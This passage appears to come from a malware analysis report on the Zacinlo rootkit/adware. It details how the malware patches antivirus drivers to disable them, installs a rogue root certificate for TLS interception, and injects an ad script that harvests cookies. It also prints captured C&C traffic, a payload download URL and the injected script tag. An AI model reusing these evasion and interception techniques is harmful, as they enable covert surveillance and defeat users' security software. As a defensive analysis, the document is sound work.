Encrypted atimode data: "O|Y|N|j|u|PP|PN|Pu|r|rr|E|rO|rY|rN|rL|rj|rul|Ez|EP|Er|EE|EO|EY|EN|Eu|OP|Oz|Or|OL|OY|Oj|Yp|Yr|YE|YO|YN|Yj|Yu|Nz|NP|Nr|NE|NO|NY|Nj|L|rz"  
Decrypted atimode data: "4/5/6/8/9/11/16/19/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/39/41/40/42/47/45/48/51/52/53/54/56/58/59/60/61/62/63/64/65/68/7/20"

- **set\_pt** is used for whitelisting its component paths and Registry paths
- **set\_bt** is used to add more names to its blacklisted image names
- **atimode** specifies which blacklisted image name or blacklisted certificate subject name to be verified.

10) Different kernel callbacks are registered (**PsSetLoadImageNotifyRoutine**, **PsSetCreateProcessNotifyRoutine**, **PsSetCreateProcessNotifyRoutineEx**, **ObRegisterCallbacks**, **CmRegisterCallback**, **FltPreOperationCallback**).

a) **PsSetLoadImageNotifyRoutine** kernel callback is used to verify new images that have specific certificates used for digital signatures.

The subject name is extracted from the process file certificate and checked against two test sets, which include blacklisted certificate subject names.

The first one is based on the **atimode** registry data and, should a match occur, it finds image's entry point and patches it with "**33 C0 C3**" ("**xor eax, eax; ret**").

If subject name has been found blacklisted in the second test, additional tests are carried, which will result in a patched entry point with "**33 C0 C3**" ("**xor eax, eax; ret**") or a global blacklist variable to be set to "**1**" in case of a positive match

For an image to have entry point patched it needs to have one of the following statements true:

- **OriginalFileName** field from file version information of the image must contain "**MBAMSWISSARMY.SYS**", "**MBAMCHAMELEON.SYS**"
- image name must contain one of the following:

\DSARK64.SYS	\BAPIDRV64.SYS	\KNBDRV.SYS
\MWAC.SYS	\MBAMSWISSARMY.SYS	\SYMNETS.SYS
\P A N D A _ U R L _ FILTERINGD.SYS	\NNSPIHSW.SYS	\HITMANPRO

If the image name contains one of the following:

\MBAM.SYS	\ASWSP.SYS	\AVGSP.SYS
\SYMEVENT64X86.SYS	\ASWMONFLT.SYS	\AVGMONFLT.SYS
\SRTSP64.SYS	\WDFILTER.SYS	\AVGNTFLT.SYS
\KLIF.SYS	\KLBACKUPFLT.SYS	\PSINFILE.SYS
\GZFLT.SYS	\TRUFOS.SYS	\ATC.SYS
\EPP64.SYS	\ZAM64.SYS	

the global blacklist variable is set to "**1**".

b) ***PsSetCreateProcessNotifyRoutine*** kernel callback is used to save information about the newly created process and its parent process in a structure. This will be used later in other kernel callbacks. In case the process exits, the saved information will be freed.

c) ***PsSetCreateProcessNotifyRoutineEx*** kernel callback uses the information saved in ***PsSetCreateProcessNotifyRoutine*** kernel callback to identify the blacklisted processes and terminate them. If the process name is a blacklisted name or the process file certificate subject name is blacklisted or its original file name is blacklisted, the process is initially suspended and then terminated.

d) ***ObRegisterCallbacks*** kernel callback is used to intercept process creation. If the parent of the newly created process is ***TASKMGR.EXE*** or an AV product and the newly created process is one of the adware components, the process is created with limited query information.

e) ***CmRegisterCallback*** kernel callback is used to block access to its whitelisted registry paths for blacklisted processes. The component checks for several actions:

- ***RegNtEnumerateKey*** (key enumeration) is blocked for those processes that don't contain ***LegalCopyright SMARTSOFT*** (***LegalCopyright*** for its components) and the registry path is a whitelisted one.
- ***RegNtPreDeleteValueKey*** (value key deletion) is allowed for ***DependOnGroup*** value key and for those processes that have ***LegalCopyright*** set to ***SMARTSOFT SERVICES.EXE*** is also an allowed process. Access is blocked for all the rest if the registry path is a whitelisted one (***\DATAUP***) or included in ***set\_pt*** registry data value.
- ***RegNtPreSetValueKey*** (set value data) is blocked for those processes that don't have ***LegalCopyright*** set to ***SMARTSOFT*** and one of the following statements its true:
  - If the registry path is whitelisted and if the process is ***SERVICES.EXE*** for value name ***DeleteFlag*** and ***Start*** or if the process is not ***SERVICES.EXE***
  - If the process is not in the whitelist given by the ***set\_pt*** registry value

- ***RegNtDeleteKey*** (key deletion) is blocked for those processes who don't contains ***LegalCopyright SMARTSOFT*** if registry path is a whitelisted one (***\DATAUP***).

f) ***FltPreOperationCallback*** kernel callback is used to "redirect" access from its backup folder files to a legitimate one or to block access to its components.

If the filename doesn't contain "***\DEVICE\HARDDISKVOLUME***", MajorFunction is ***IRP\_MJ\_DEVICE\_CONTROL*** and the IOCTL is equal with ***0x4D014 (IOCTL\_SCSI\_PASS\_THROUGH\_DIRECT)*** or ***0x4D030 (IOCTL\_ATA\_PASS\_THROUGH\_DIRECT)*** then access is denied.

If the path is whitelisted and the process does not have the ***LegalCopyright*** blacklisted and it is not "SERVICES.EXE" then:

- if MajorFunction is ***IRP\_MJ\_SET\_INFORMATION***, access will be denied
- if CreateFile with CreateDisposition ***FILE\_DELETE\_ON\_CLOSE***, it will be blocked
- if the process name is "EXPLORER.EXE" or process name is a blacklisted name, the access will be denied

If a process attempts to access the driver from its backup folder (in our case "***\SYSTEM32\SVNROTE\ZACINLO.SYS***"), "***TargetFileObject***" will be modified with "***\??\C:\Windows\System32\drivers\mspclock.sys***", a legitimate Microsoft file, and the callback will be marked as dirty and ***STATUS\_REPARSE*** is returned.

If a process tries to access the executable from its backup folder (in our case "***\SYSTEM32\SVNROTE\ZACINLO.EXE***"), "***TargetFileObject***" will be modified with "***\??\C:\Windows\System32\calc.exe***", a legitimate Microsoft file and the callback will be marked as dirty and ***STATUS\_REPARSE*** is returned.

***STATUS\_REPARSE*** return is usually used for redirections to other files in a minifilter.

11) Registered minifilters will be verified and those drivers which contain in the name "**\DRIVERS\WDFILTER.SYS**" or have a blacklisted certificate, depending on the major function, will be verified against a set of blacklisted names and the routines **PreOperation** and **PostOperation** for those drivers which have the name blacklisted will be patched with "**B8 01 00 00 00 C3**" ("**mov eax, 1; ret**")

- a. if the major function is **0 (IRP\_MJ\_CREATE)** then the driver name is checked against

<b>\MBAM.SYS</b>	<b>\ASWMONFLT.SYS</b>	<b>\AVGMONFLT.SYS</b>	<b>\SRTSP64.SYS</b>	<b>\WDFILTER.SYS</b>
<b>\AVGNTFLT.SYS</b>	<b>\KLIF.SYS</b>	<b>\KLBACKUPFLT.SYS</b>	<b>\PSINFILE.SYS</b>	<b>\GZFLT.SYS</b>
<b>\TRUFOS.SYS</b>	<b>\EPP64.SYS</b>	<b>\ZAM64.SYS</b>		

- b. if the major function is **6 (IRP\_MJ\_SET\_INFORMATION)**, the driver name is checked against "**\AVGNTFLT.SYS**"
- c. if the major function is different than **0** or **6**, the driver name is checked against

<b>\SRTSP64.SYS</b>	<b>\SYMEFASI64.SYS</b>	<b>\WDFFILTER.SYS</b>
<b>\AVGNTFLT.SYS</b>	<b>\AVGNTFLT.SYS</b>	

12) Verifies the drivers registered in **PspCreateProcessNotifyRoutine** by searching **PspCreateProcessNotifyRoutine** table entries

- a. if the driver name contains "**\DRIVERS\WDFILTER.SYS**" or has a blacklisted certificate additional checks are made based on the driver name:
- b. if the driver name contains one of the following:

<b>\ASWSP.SYS</b>	<b>\AVGSP.SYS</b>	<b>\SYMEVENT64X86.SYS</b>
<b>\GZFLT.SYS</b>	<b>\ATC.SYS</b>	

then the registered routine will be patched with "**C3**" ("**ret**")

- c. if the driver name contains "**\EPP64.SYS**" or "**\MFEHIDK.SYS**" then the registered routine will be patched with "**B8 01 00 00 00 C3**" ("**mov eax, 1; ret**")

13) Creates a thread which will check if a debugger is active. If the debugger is enabled a BSOD will happen.

14) Register its minifilter.

15) Register and loads **NetFilter** driver component.

16) Searches for routine addresses of **NtCreateUserProcess** and **ZwResumeThread** in **ntdll.dll** exports.

17) A new thread is created which iterates continuously:

- a. checks for **set\_st**, **set\_pt**, **atimode**, if the values doesn't exists in registry, they will be created using the hard-coded data, then if the system is not in a shutdown progress it searches for **winlogon.exe** and if it finds **KeBugCheck** will be called.
- b. only for the first loop it will search after **explorer.exe** process and if exists it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines
- c. if the global blacklisted image is set to "**1**" then check for the existence of **explorer.exe** process and if it has been found, this thread will be put to sleep for 20 seconds, then it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines and the global blacklisted variable will be cleared
- d. only for the first loop it will search after **services.exe** and if it has been found then using the searched function **NtCreateUserProcess** it will create a usermode process for the executable given by **St** registry value data. The same mechanism is applied on a list of hardcoded files (in our case it doesn't exists).

Zacinlo

The component corresponds to **zacinlosvc.exe** or **msidntld.exe** file.

It is started by the radardt rootkit component with **-starup** as the first parameter. It will try to make a setting so that processes with different Integrity Levels (IL) can communicate (**UIPI** value from **HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System** will be set to "1").

Several threads with specific functionality will be created, as described below.

The main thread is responsible for updating the **svcmx** component, if needed. Before communicating with the C&C it searches for an executable which contains **"Priky"** or **"Jetbrains"** in the **Copyright** field of file version information in **%localappdata%** or **%programfiles%**, depending on an internal flag. If the file is not found it will be downloaded in a folder from **%localappdata%**. The path and the filenames will be added in the **set\_pt** value data; this field is used to whitelist the files in the rootkit component. After that, it starts collecting some user system information and communicating the information to the [www.userbest.com:8080/report/lp](http://www.userbest.com:8080/report/lp) command and control center for delivering the current version of the **svcmx** component. If the C&C is offline or it sends invalid data, it starts communicating with [www.yimgcdn.com:8080/rep001/l/](http://www.yimgcdn.com:8080/rep001/l/) to get the same component. The C&C response is initially decrypted and then used.

```
GET /report.lp?
16ab31b815858ffa295d3d5a917a5aafc89dff6fa4dabe8d8f20993a836758d6190a839f2f86278b4ffaafdbd35778964b030c3b7d13bac747397
6ecb66d12d75971a26fc0bc2bc222d4f5f306a95081510afe9f491ebbbc7b9f8aaa03f9d2a079693cbe329b336599e7281b3f342258fbe65266be
34afafffddea778b7a798c83366c1ab323a365849079bd01a9d8d49c3ec709dd422c633a0238d1df2f14750a9d3b9075a9c6387191607a398d7cec
c0904c48116185ae89fb29404d2c57cd42bec9ecef94afb702a1093c3a1b16f5a73a30e96469c43e593a0d682fd9b798ef5d92049ead5ee4ff6a8
b383033ba482 HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: www.userbest.com:8080

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 30 Jan 2018 10:38:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4

fbfb768c9c7a7fff3c327e58d1cab6591b2a0ba8e2680511e0d3867d310a678a6aefe520cf09c342ef9276992df23e738f3c515f729a5c1858985b
dac0564633fc65af9c9703ad411dbeb721e73afcfcf69bc2ea814c0fea5c2b58835453dba6f409301f8c0230fe5c6c64ba290783ff624f72734e1
63d415586cd427723a046f0a34d5d2cd8ced8f74168d49983ec4589132e637ea3f41b7181de885fc32561226729642e919f298e54d56f072393bb
5fec070519d0c6c8d

Decrypted request:
guid=BA27CCE4-51C3-4283-8C04-71C54538C75B!time=1517308792!utc=4294967288!mac=080027a7ca91!os=Microsoft Windows 7 64bit!cpu=Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz!memory=2047!language=en!country=US!screen=1920*1095!bit=32!version=2.0.18.1

Decrypted response:
[{"parameters": "-starup", "always_run": true, "version": "1.0.1.8", "password": "a123456", "app": "app153", "service": "", "name": "svcmx", "url": "http://\u2225174.37.56.249\u2225p2\svcmx.zip"}]
```

If the version doesn't match the found file or it needs updating, based on **svcmx\_time** registry value, it will start downloading the component from the **url** field, unzip the downloaded archive into the found file directory, then execute the file with the same name as the archive name with the **parameters** field value as command line arguments. Every time the archive is downloaded, the value of **svcmx\_time** will be updated with the current timestamp in the **HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService** Registry key. If it doesn't require updating, it will make sure the executable gets started.

Every query about the file version of the **svcmx** component gets reported to the Command and Control center via the admin panel API.

```
GET /api/cpx?
q=16ab31b815858ffa295d3d5a917a5aafc89dff6fa4dabe8d8f20993a836758d6190a839f2f86278b15b85761b053c36c4b030c3b7d13bac7cc4
6977a3163a6f05971a26fc0bc2bc2ec4431b903ffb67510afe9f491ebbbcb009cf3bd8957e6879693cbe329b336599e7281b3f342258d66d659
1ca729c5fdeea778b7a798c83366c1ab323a365849079bd01a9d8d49c3ec709dd422c633a0238d1df2f147509406f56e5694782a6f227f8bda65f
b2b0904c48116185ae8cbb0c1848cc80786a47499cacb274f882a1093c3a1b16f5a38fc4ed8311b165cdaf6bc1e6741afabf5d92049ead5ee4f6b
0c1fc7c4700bcd0a6e35529d573860 HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Tue, 30 Jan 2018 10:38:28 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190


ok
```

**Decrypted request:**  
**guid=BA27CCE4-51C3-4283-8C04-21C54538C25B&time=1517308793&utc=4294967288&mac=080027a7ca91&os=Micro  
soft Windows 7 64bit&cpu=Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz&memory=2047&language=en&country=US&screen=1920\*1095&bit=32&version=2.0.18.1&type=2**

One thread will be responsible for installing and importing the server certificate.

The malware drops a server certificate in **%temp%\msidntfs\SSL** or **%windir%\temp**. This server certificate will be installed into the Windows Certificate Store as Trusted Root Certification Authorities.

The component searches recursively in **%PUBLIC%** and **%ALLUSERSPROFILE%** for "**cert8.db**" (the Firefox certificates database) and "**opcacrt6.dat**" (the Opera certificate authorities database) files. If they are found, the certificate gets imported in the certificate databases found. The certificate will then be converted into PEM format and placed everywhere in **%PROGRAMFILES%** and **%PROGRAMFILES(x86)%** where a directory called "**ca-certs**" is found.



Three of the created threads are responsible for installing the NetFilter SDK driver (used for MITM), as well as for the actual MITM process and for injecting a JavaScript script in the loading web page, respectively. A demo version of the The NetFilter SDK driver will be installed if it is not already installed under the name **msidntfs** and will be used to handle the MitM process, even on SSL, and inject a JavaScript script into the loading web page. The script will be injected right before the "**</head>**" html tag element.

The injected script is:

```
<script type="text/javascript" charset="utf-8" id="tr-app" src="hxxps://cdn.optic.com/jquery.min.js?u=default&f=2&s=500,400,50,50"></script>
```

The following processes are targeted by the Man-in-the-Middle hijacking mechanism:



\LIEBAO.EXE \QQBROWSER.EXE \360CHROME.EXE \TUCHROME.EXE \SPFLITE.EXE \JSY.EXE \CRUYIN.EXE \X  
TBROWSER.EXE \ZBROWSER.EXE \AEGIS.EXE \MINITE\_2.EXE \KRBROWSER.EXE \MV1Q.EXE \UU.EXE \TFVROWSER.EXE \CO  
BAL.EXE \ROAMB.EXE \RSBROWSER.EXE \ALIBROWSER.EXE \BAIDUBROWSER.EXE \CELL.EXE \CYCLE.EXE \NHB  
ROWSER.EXE \PILIO.EXE \CHEERROWSER.EXE \GESHARE.EXE \WEBSTRIP.EXE \NTRUEELER.EXE \SCHEDULER.EXE \IRON  
.EXE \S3BROWSER-WIN32.EXE \XPLOREER.EXE \CRAZY\_BROWSER.EXE \BARSMEDIA.EXE \SAURON.EXE \BUEXPLORER.FX  
F\1414E.EXE \GOMESBROWSER.EXE \LONCHANG.EXE \NUCBROWSER.EXE \MV19.EXE \2291BROWSER.EXE \PPBROW  
SER.EXE \BROWSER.EXE \OTHED.EXE \WWEVPLORER.EXE \SEEMOO.EXE \JX.EXE \JUBROWSER.EXE \CAIMAO.EXE \SE.EXE  
SHUER.EXE \AIRUIEU.EXE \SEAMONKEY.EXE \POLEMON.EXE \LUNA.EXE \WEBGAMETI.EXE \GOSURF.EXE \NDRAGON.E  
XE \ACOOBROWSER.EXE \SHRAYA.EXE \SRTE.EXE \FTBR.EXE \SDFRAME.EXE \DYBROWSER.EXE \RUTING.E  
XE \STROMEEBROWSER.EXE \THBROWSER.EXE \ICHROME.EXE \COMETBROWSER.EXE \CHGREENBROWSER.EXE \DUPING.EX  
E \GREENBROWSER.EXE \BROWSER.EXE \07073GE.EXE \OPERA.EXE \NETSCAPE.EXE \MRXTHON.EXE \SFERRI.EXE  
\CHROME.EXE \FIREFOX.EXE \THEWORLD.EXE \SOGOEXPLORER.EXE \EXPLORE.EXE \TANGO3.EXE \NUZI.EXE  
\2345CHROME.EXE \THEWORLD.EXE \360SE.EXE \MICROSOFTEDGECP.EXE \MICROSOFTEDGE.EXE \ : </head Content

Another thread is responsible for updating the malware's registry configuration. The registry configuration is downloaded from the C&C at ***hxpx://optitm.com***

```
POST /client-api HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Length: 320
Host: optimt.com

908979af7aec046398a0f212bc21837785dc9598a10c8edf127f88279c70fb4707396cd876871fc9e702e219a12cb8f0db91909536f7b95a856a23abf
dcf11419a5e0f6b91bcd21b5c0bc1e136352094c1b21fd619cf59e9452defa7ec10ddbd8dc96fc74a6ddab9a8ab55489a477365029b8e34895190223
83ad284c3e9b9e216df5f7cc84ac85ba2bb3214ef63c161d25e5e7c334e0e0cfb4376466c50385HTTP/1.1 200 OK
Server: nginx
Date: Tue, 30 Jan 2018 10:38:28 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache

65327554761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52f6d11b72c643c2641bc51783b6308289a950e64106e21ab0e88cf
64240a6c57e47113e1eda5b72400190e5ba5932e52eae7e8379b092e11405d0f830ccfce5e288de94e17b3789f7034a2745b7c84effb6623facb889a
aae4231eb2dc68ffa56d9930a8f9c28e12ac640ff6f9c8712cc50d2c855365b9a44cb28e161146745ab1f84579c3549934b39cbc97ad917553a948f7b
61a6b8dfb00183637d40ca0c0b2f27cef28abf66c893dbddff4d58d54734646c0d9cf9a109b49d8eea95b88b2e69e38194df1f88a245040f961a17005
4365c6b1c09fe9ece31bf25c16c745f2b0d9d5ebc13d4e50b1e6c7e788558ef2d51
```

```
Decrypted request:
<"cid":"Ba27CC4E-51C3-4283-8C04-71C54538C75B","cores":1,"mhz":1212,"mem":2047,"os":4,"w64":1,"mac"
:"000027a7ca91","ver":"2.0.18.1","id":18001008,"run1":1>

Decrypted response:
<"code":0,"msg":"\u05904\u7406\u6210\u529f","ver":"1.0.0","data":[],"ati":[3,4,5,6,7,8,9,10,11,13,1
6,18,19,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,39,40,41,42,44,45,46,47,48,49,51,53,54,55,
58,59,60,62,63,64,65,67,20,1],"atidrv1":[],"atidrv2":[],"hpdl":[],"bl":["mbar","reagente","Windows
UpdateBox.exe"],"_":0,0323008101654053>
```

The C&C response is decrypted, parsed and the following values are saved in ***HKLM\SYSTEM\CurrentControlSet\Control\Network*** as follows:

- „*ati*“ as **atimode** registry value
  - „*bl*“ as **set\_bl** registry value

In this case **shield\_count** registry value data from **HKLM\SYSTEM\CurrentControlSet\Control\Network** will be set to "0".

If the C&C is offline, a connection to „<http://www.baidu.com>” is attempted to test the internet connection. Depending on the available connectivity and on the data of **shield\_count** registry value, **PowerMode** or **PowerMode2** registry values will be set in **\HKLM\SYSTEM\CurrentControlSet\Control\Network**. If shield\_count data is larger than 0x90 then **PowerMode2** will be set, otherwise **PowerMode** will be set in case shield\_count data is larger than 0x48. The **PowerMode** and **PowerMode2** values will be used by the rootkit component to filter the executables and their access permissions.

## JS Script

The main functionality of this script is to display ads based on the user's configuration and visited pages. The ads are received from the C&C along with configuration that specifies how they should be displayed. Ads can be displayed either on their own or only if another external ad can be replaced. Their aggressiveness is highly configurable. Some ads can be configured to have a close button or fade away after some time while others can not be closed.

This is the script called from "***hxxps://cdn.optic.com/jquery.min.js?u=default&f=2&s=500,400,50,50***". It uses multiple open source javascript libraries to help with its malicious activities:

- **sizzlejs** → <https://github.com/jquery/sizzle>; obfuscated
- **UAParser** → <https://github.com/faisalman/ua-parser-js>; obfuscated
- **JSON** → <https://github.com/douglascrockford/JSON-js/blob/master/json2.js>;
- some functions from <https://github.com/dperini/ContentLoaded/>;

The script is called with 3 parameters, as shown in the query above:

- ***u=default***, specifies the url parameter to reply when contacting the C&C
- ***f=2***, specifies when to contact the C&C, in our case the C&C is contacted when the current window is the topmost browser window
- ***s=500,400,50,50***; will be replayed as is to the C&C

Information about the visited website and browser configuration will be gathered and sent to the C&C by dynamically creating a new script element in the HTML that links to "***hxxps://cdn.optic.com/serve***" with the following query strings added:

- ***url***: replayed value of u from the original query
- ***z0***: base64 encoded information about the website and browser configuration
- all other parameters from the original query except u and f are replayed

In our case, the script link was:

```
https://cdn.optic.com/serve?url=default&z0=WyljLDE5M jAsMTA4MCwxODk0LDY50CwiMTEuMiByMjAyliwyNCww
LDAslmZsYXNoLGphdmEsY29va2lIiwiwiZmlsZTovLy9ob21lL3N1Z3VzL0Rvd25sb2Fkcy9ndWdhbF9pbmZlY3RhdC5odG1sliwzLCJVVEY
tOCIsImVuLVVTliwxNTI0MTUxNDM4NzYyLCJNb3ppbGxhLzUuMCAoWDExOyB MaW51eCB40DZfNjQ7IHJ2OjUyLjApIEdlY2tvLzlwMT
AwMTAxIEZpcmVmb3gvNTluMCIsliislkdvb2dsZSlslJd&s=500%2C400%2C50%2C50
```

The following information is encoded in the ***z0*** parameter:

- screen width
- screen height

- width of the browser window
- height of the browser window
- flash version
- color depth
- whether the script is running in the topmost window
- whether orientation is available
- all the enabled browser features (e.g.: Flash, Java, cookie etc)
- the topmost browser window
- visited URL
- timezone
- character encoding of the visited site
- browser language
- current time
- user agent
- referrer of this site
- page title
- all cookies of the page

This new script contains a call to a function from the original script (**applyConfig**) to which a base64 encoded configuration JSON is passed. This JSON contains information about advertisements to be displayed and their interaction with the user. Several types of ads are handled in code:

- **match** – checks whether the size of the screen and browser window satisfies size requirements of the advertisements
- **external** – an URL is provided to which a new script element will be created and linked
- **js\_redirect** – redirects the user to another page (the referrer field is specified from the configuration)
- **js\_chat\_room** – loads a script and an optional CSS style sheet received in the configuration
- **popunder** – calls a function called *popunder* on an URL specified in the configuration. This function is not implemented yet, which may hint that the script is still under development.
- **banner** – the main way of displaying ads. It waits for the DOM content to load, then either replaces or adds advertisements to the current page. Multiple tests can be conducted before an ad is displayed: whether a DOM element that satisfies size requirements exists; whether the src, href or className attribute of the element matches a certain regular expression; whether a certain CSS selector is matched; custom checks in JavaScript can also be dynamically specified and run from the configuration.

The JSON file contains many configuration fields, of which some of the most important ones are:

- **ads** – list with ad scripts to be inserted
- **type** – the ad type
- **id** – new element ID
- **cls** – new element class to be appended
- **width** – width of the new ad
- **height** – height of the new ad
- **test\_enabled** – enables searching for a specific element in page, **width** and **height** are then used for matching
- **tip\_enabled** – enables a tip by appending a new DIV element to the ad
- **tip\_text** – text shown in the tip
- **output** – possible values:
  - **1** – display only first ad in the ads list
  - **2** – display only one random ad from the ads list
  - **3** – replace elements with ads
  - **4** – display all ads from the list
- **method** – method for inserting ads, has possible values:
  - **1** – add fixed element
  - **2** – add absolute element
  - **3** – replace an element in the page with ads
  - **4** – insert as first child of element
  - **5** – insert as last child of element
  - **6** – insert before element in parent
  - **7** – insert after element in parent
- **replace\_limit** – maximum number of elements to be replaced with ads
- **replace\_method** – possible values:
  - **1** – add all ads in order
  - **2** – all ads in random order
  - **3** – extend or shrink the ads list to match the number of elements found in order
  - **4** – same as **3** but randomized

- **5** – extend or shrink the ads list to at most **replace\_limit** ads in order
  - **6** – same as **5** but randomized
  - **7,8** – same as **5,6** but at most **pick\_limit** ads
- **align** – horizontal align type
  - **valign** – vertical align type
  - **x** – horizontal alignment value
  - **y** – vertical alignment value
  - **close\_button** – enables close button on ad
  - **close\_auto** – enables auto close for an ad in **close\_timeout** seconds
  - **fade\_enabled** – enables fade out of an ad in **fade\_timeout** seconds
  - **test\_selector** – checks whether an element contains some CSS styles
  - **test\_offset\_x** – slack space on X axis
  - **test\_offset\_y** – slack space on Y axis
  - **test\_x** – possible values: **u,d**. Checks for a page element:
    - **u** :elem.width < json.width + json.test\_offset\_x
    - **d** :elem.width > json.width - json.test\_offset\_x
  - **test\_y** – similar to **test\_x** for height

An example of a configuration JSON:

```

...
{
    "t": "banner",
    "n": "\u06ff\u06362 120x600",
    "id": "",
    "cls": "",
    "width": 120,
    "height": 600,
    "method": 3,
    "align": "r",
    "valign": "b",
    "x": 0,
    "y": 0,
    "close_button": false,
    "close_auto": false,
    "close_timeout": 3,
    "fade_enabled": true,
    "fade_timeout": 3,
    "test_enabled": true,
    "test_selector": "",
    "test_js": "",
    "test_x": "ud",
    "test_offset_x": 10,
    "test_y": "ud",
    "test_offset_y": 25,
    "output": 3,
    "replace_method": 6,
    "replace_limit": 2,
    "rotate_enabled": false,
    "rotate_limit": true,
    "rotate_interval": 10,
    "rotate_random": false,
    "rotate_times": 1,
    "ads": [{"Google 120x600", "code", "<script async src=\"//pagead2.googlesyndication.com/\pagead\js\adsbygoogle.js\"></script>\n!-- 1-120600 -->\n<ins class=\"adsbygoogle\"\n      style=\"display:inline-block;width:120px;height:600px\"\n      data-ad-client=\"ca-pub-5342417538670803\"\n      data-ad-slot=\"9746813776\"\n>\n</ins>\n<script>(adsbygoogle = window.adsbygoogle || []).push({});</script>\n"}, {"c": "", "tip_pos": "lb", "tip_enabled": true, "tip_text": "AD", "_id": 198712}], ...
}
...

```

```

<script async src=
    "//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"
</script>
<!-- 1-120600 -->
<ins class="adsbygoogle"
    style="display:inline-block;width:120px;height:600px"
    data-ad-client="ca-pub-5342417538670803"
    data-ad-slot="9746813776">
</ins>
<script>(adsbygoogle = window.adsbygoogle || []).push({});</script>

```

## Payload - Master

The component corresponds to **svcmx.exe** file.

The purpose of this component is to communicate with the C&C, execute the Payload – Slave components and send data through pipe to the slave. It integrates the source code of three open-source projects:

- Chromium
- Libcurl
- Crypto++

A pipe named **SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}** is created and it is used to communicate with the slave component (**vmxclient.exe**).

Different requests are made to C&C. The first request is made to receive a token which will be used in subsequent requests.

```

POST /client-api HTTP/1.1
Host: client-api.essads.com
Accept: */
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Length: 608
Content-Type: application/x-www-form-urlencoded

9b904e26a06f93f2eda8120d1ef13026e497fe3567a0b70268e81d79275529af625d368eb4d70a710f311e9d20e5406c5989cf03fb589475cd45ee32
eaf39a9840378ffc30e57949d38b947d9d6fe283a375b76d5b9e8858503f55f1b43815338b4a5dec86f15ec91164005cf8bb620da318f16d6ecfc2fee
7f830daffcc65e61d6c147c59f0bd5dd4a8e65cbdc93ba00df0c1ba7329d8194829565bef52b1e9a7812748fa0781916eebdbba66df2e05a093f87635
0e5a23eebb0288c96714e95afe1c63a800cf33261e089bc94867fa42c245fc76fa598c6ce34d3a2507bf98670c27c67348376a3644ffad352638d04db
c5824dfe9ad324a18f23d0653ad7794e011d7a54fa5cc509339fb85f98b6750c5f76afa03c42737260966134be7339868dfc53f8e6f3ac6ff73f39fec
114HTTP/1.1 200 OK
Date: Thu, 22 Feb 2018 14:51:28 GMT
Server: Apache/2.2.22 (@RELEASE@)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/javascript; charset=utf-8

65327554761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52f6d11b72c643c2641bc51783b630caf2a18693369e451ab0e88cf
62420a688e4ead61070bc8ffd571b59b2bf823ccd41c2ff5ad976b6896549dca1b3cf10a1f982e0aff7034f425d7bc24952763f56676866be4c06fc1
6789f40295055e24e3b788511e615147d909e1cac014c550f7ace470e706ae

Decrypted request:
{"action":1,"cid":"389F6922-D8D2-4C58-9B4E-7DEA56F3DA68","client":"5C2762D084FC491990D204997D088A4
6...0,0,0","data":{"browser_ver":"3.2526.1373.0","cpu_cores":1,"cpu_hz":0,"fl_ver":"22.0.0.192","memory":2047,"os_ver":4,"wow_64":1},"email":"","mac":"080027a7ca91","mode":0,"token":"","ver":"1.0.1.8"}
```

```

Decrypted response:
{"code":0,"msg":"\u045904\u047406\u046210\u04529f","ver":"1.0.1","data":{"token":"HXdk08991YtAHKP9Hc9XrKvJPg7LrJ9owKdC711XIKHk62A"},"_":0.0348060131073}

```

Request parameters:

- ***action*** – this field indicates the request action (1 = first request, 3 = later requests)
- ***cid*** – generated GUID saved in **%localappdata%\Microsoft\Windows Media\userdata2** (the path may differ depending on the file version). This file is encrypted using *CryptoAPI – CryptProtectData* and decrypted using *CryptUnprotectData* when needed.
- ***client*** – formatted string which contains: generated GUID by Zacinlo component (located in registry at value *Liveup* from *HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService*), setup time (located in registry at value *install\_time* from *HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService*), file version of the binary file from the *windowsmanagementservice* service, the number of *ct.exe* processes, the number of *dataup.exe* processes, „1” if *svcmx* is in auto-run (*,HKLM\Software\Microsoft\Windows\CurrentVersion\Run*) otherwise „0”
- ***browser\_ver*** – libcef version
- ***cpu\_cores*** – number of cpu cores
- ***cpu\_hz*** – cpu frequency
- ***fl\_ver*** – flash version
- ***memory*** – total physical memory
- ***os\_ver*** – operating system version
  - **0** – old Windows Operating System (unsupported by this component)
  - **1** – Windows XP
  - **2** – Windows Server or XP x64

- **3 – Windows Vista**
- **4 – Windows 7**
- **5 – Windows 8**
